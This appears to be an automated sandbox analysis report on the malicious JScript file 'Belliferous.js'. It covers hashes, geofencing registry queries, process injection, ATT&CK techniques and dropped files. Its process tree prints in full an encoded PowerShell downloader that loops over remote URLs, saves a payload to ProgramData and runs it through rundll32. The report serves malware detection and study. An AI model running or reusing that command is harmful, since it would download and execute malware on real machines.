e4024bea1eeadaf2d82a7cb32c9dcd24d84e2a4ed71f9018f6fd2365304e0163

General

Target

Belliferous.js
Size

262KB
MD5

4d05726e9036947c1bfa1255a3628129
SHA1

a31dd440a5c23a67285248dba327b76cb3975d6f
SHA256

e4024bea1eeadaf2d82a7cb32c9dcd24d84e2a4ed71f9018f6fd2365304e0163
SHA512

a5109e9742f6d0ce3eec19d3ed855cbc579ecb2b461829e68081ffbb09396fcb5248473594b157fd874491b0abf9ee5a3c9e6f08938c68349e6f00134931e2fe
SSDEEP

3072:UDHG+bxt2vI3a3wLK4woNhdz/aiVQ4aIvXaf6iG7Ty2Yr9fWd3BHXpjz6O:UDm+tt2vsffwo5BVLDvvpTYZudxHj

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
17	1676	powershell.exe
41	1676	powershell.exe
52	1676	powershell.exe
55	1676	powershell.exe
59	1676	powershell.exe
63	1676	powershell.exe
65	1676	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1676	powershell.exe
1676	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1676	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4176 wrote to memory of 4180	4176	wscript.exe	85
PID 4176 wrote to memory of 4180	4176	wscript.exe	85
PID 4180 wrote to memory of 1676	4180	wscript.exe	86
PID 4180 wrote to memory of 1676	4180	wscript.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Belliferous.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\ProgramData\gainliest.js" administrates Bullaries melanocomous
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABOAG8AbgBwAHUAbgBjAHQAdQBhAHQAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQB3AEEAQwA0AEEATgB3AEEAegBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQBnAEEAPQB0AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQATQBBAEwAZwBBAHgAQQBEAFUAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAdwBBAEMANABBAE0AZwBBADEAQQBEAE0AQQB0AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAWQBBAFoAUQBCAHkAQQBHAEkAQQBZAFEAQgBzAEEARwB3AEEAZQBRAEEAdQBBAEgASQBBAGIAdwBCAGoAQQBHAHMAQQBjAHcAQQA9ACIAOwAkAFIAZQBsAGkAcwBoAGUAcgBTAHQAcgBlAGEAbQBzAGkAZABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABBAEEATABnAEEAeABBAEQAQQBBAE4AdwBBAHUAQQBEAGMAQQBOAFEAQQB1AEEARABFAEEATwBBAEEAeABBAEMAOABBAFkAUQBCAEMAQQBIAGMAQQBNAHcAQQB4AEEAQwA4AEEAZABBAEIAMwBBAEgAbwBBAFoAQQBBAD0AagBOAG0AbwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAHcAQQB1AEEARABZAEEATwBRAEEAdQBBAEQARQBBAE4AZwBBADAAQQBDADQAQQBNAFEAQQB3AEEARABZAEEATAB3AEIAUgBBAEYAawBBAGMAdwBCAGgAQQBDADgAQQBkAFEAQgBxAEEARABVAEEAWQBnAEIAQgBBAEEAPQA9AGoATgBtAG8AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAxAEEARABVAEEATABnAEEAeABBAEQARQBBAE4AUQBBAHUAQQBEAEkAQQBOAEEAQQB6AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAdwBCADUAQQBDADgAQQBRAHcAQgBDAEEARABnAEEAagBOAG0AbwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBNAGcAQQB1AEEARABJAEEATgBBAEEAMwBBAEMANABBAE0AZwBBAHcAQQBEAGsAQQBMAGcAQQB5AEEARABFAEEATgBBAEEAdgBBAEYAUQBBAFoAUQBBADIAQQBDADgAQQBVAGcAQQA0AEEAQQA9AD0AagBOAG0AbwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARQBZAEEAYQBRAEIANgBBAEcAbwBBAFMAZwBCAGEAQQBFAHcAQQBaAGcAQgBZAEEARgBjAEEAagBOAG0AbwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBOAGcAQQB4AEEAQwA4AEEATwBRAEIAaABBAEQAWQBBAE4AdwBCAHcAQQBHAFUAQQBjAHcAQQB2AEEARQBFAEEAUwBnAEIAQgBBAEcASQBBAE4AUQBBADQAQQBFADAAQQBNAGcAQgA0AEEAQQA9AD0AagBOAG0AbwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATgBRAEEAMABBAEMANABBAE0AUQBBADEAQQBEAGsAQQBMAGcAQQA1AEEARABnAEEATAB3AEIAUQBBAEgAQQBBAFYAUQBCAFoAQQBGAGcAQQBMAHcAQgB1AEEARgBZAEEAVwBnAEIAdQBBAEQASQBBAGEAUQBCAEMAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABFAG4AZABuAG8AdABlAHMAIABpAG4AIAAkAFIAZQBsAGkAcwBoAGUAcgBTAHQAcgBlAGEAbQBzAGkAZABlACAALQBzAHAAbABpAHQAIAAiAGoATgBtAG8AIgApACAAewB0AHIAeQAgAHsAJABTAHUAbgBkAGUAcgBtAGUAbgB0AEMAbABhAHkAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBJAEEAYgBBAEIAdgBBAEcAOABBAFoAQQBCADMAQQBHADgAQQBiAHcAQgBrAEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBACIAOwAkAEoAYQByAHYAZQB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEUAbgBkAG4AbwB0AGUAcwApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEoAYQByAHYAZQB5ACAALQBPACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFAAYQBsAGEAZQBvAGMAYQByAGkAZABhAC4AaQBtAHAAbwB0AGkAbwBuAGEAdABlADsAJABBAHMAcAByAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgBnAEEAdQBBAEQARQBBAE4AdwBBADAAQQBDADQAQQBNAFEAQQB5AEEARABNAEEATABnAEEAMgBBAEQAZwBBAG8AYQBhAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABNAEEATABnAEEAeQBBAEQAQQBBAE8AUQBBAHUAQQBEAEkAQQBNAGcAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQAawBBACIAOwAkAHMAZQByAGYAaQBzAGgAbAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABRAEEATwBRAEEAdQBBAEQARQBBAE0AdwBBAHoAQQBDADQAQQBNAFEAQQB6AEEARABNAEEATABnAEEAeABBAEQAQQBBAE4AQQBBAD0AegBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAQQBBAGEAQQBCAGwAQQBHADQAQQBlAFEAQgBzAEEARwBJAEEAWgBRAEIAdQBBAEgAbwBBAFoAUQBCAHUAQQBHAFUAQQBRAFEAQgBsAEEARwB3AEEAZABRAEIAeQBBAEcAOABBAGMAQQBCAG8AQQBHADgAQQBZAGcAQgBsAEEAQwA0AEEAWgBBAEIAcgBBAEEAPQA9ACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFAAYQBsAGEAZQBvAGMAYQByAGkAZABhAC4AaQBtAHAAbwB0AGkAbwBuAGEAdABlACkALgBMAGUAbgBnAHQAaAAgAC0AZwBlACAAMgA5ADgAMwA5ADcAKQB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAQQBBAGMAZwBCAHYAQQBHAGMAQQBjAGcAQgBoAEEARwAwAEEAUgBBAEIAaABBAEgAUQBBAFkAUQBCAGMAQQBGAEEAQQBZAFEAQgBzAEEARwBFAEEAWgBRAEIAdgBBAEcATQBBAFkAUQBCAHkAQQBHAGsAQQBaAEEAQgBoAEEAQwA0AEEAYQBRAEIAdABBAEgAQQBBAGIAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEARwBFAEEAZABBAEIAbABBAEMAdwBBAFkAZwBCAHAAQQBHADQAQQBaAEEAQQA3AEEAQQA9AD0AIgA7ACQAUwBwAGUAeQBlAHIAaQBhAFMAbwBuAG8AcgBpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAYwBBAGEAUQBCAHkAQQBHAFUAQQBaAEEAQgBoAEEARwA0AEEAWQB3AEIAcABBAEcANABBAFoAdwBCAFQAQQBIAGsAQQBjAHcAQgAwAEEARwBVAEEAYgBRAEIAcABBAEgAbwBBAFkAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwA0AEEAWgB3AEIAMQBBAEgASQBBAGQAUQBBAD0AWgBhAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AZwBBADIAQQBDADQAQQBNAFEAQQA1AEEARABRAEEATABnAEEAeABBAEQATQBBAE8AUQBBAHUAQQBEAGMAQQBNAGcAQQA9AFoAYQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEkAQQBaAFEAQgB0AEEARwBrAEEAWgB3AEIAeQBBAEcARQBBAGQAQQBCAHAAQQBHADQAQQBaAHcAQQB1AEEARwB3AEEAWQBRAEIAdQBBAEcAUQBBACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAOwB9AH0A"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1676

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\gainliest.js

Filesize
262KB

MD5
4d05726e9036947c1bfa1255a3628129

SHA1
a31dd440a5c23a67285248dba327b76cb3975d6f

SHA256
e4024bea1eeadaf2d82a7cb32c9dcd24d84e2a4ed71f9018f6fd2365304e0163

SHA512
a5109e9742f6d0ce3eec19d3ed855cbc579ecb2b461829e68081ffbb09396fcb5248473594b157fd874491b0abf9ee5a3c9e6f08938c68349e6f00134931e2fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kjo3jyik.wo4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1676-135-0x00000204B6A40000-0x00000204B6A62000-memory.dmp

Filesize
136KB

Download
memory/1676-146-0x00000204B6A70000-0x00000204B6A80000-memory.dmp

Filesize
64KB

Download
memory/1676-145-0x00000204B6A70000-0x00000204B6A80000-memory.dmp

Filesize
64KB

Download
memory/1676-147-0x00000204B6A70000-0x00000204B6A80000-memory.dmp

Filesize
64KB

Download
memory/1676-148-0x00000204B6AF0000-0x00000204B6D0C000-memory.dmp

Filesize
2.1MB

Download
memory/1676-149-0x00000204B6A70000-0x00000204B6A80000-memory.dmp

Filesize
64KB

Download
memory/1676-150-0x00000204B6A70000-0x00000204B6A80000-memory.dmp

Filesize
64KB

Download
memory/1676-151-0x00000204B6A70000-0x00000204B6A80000-memory.dmp

Filesize
64KB

Download

Analysis

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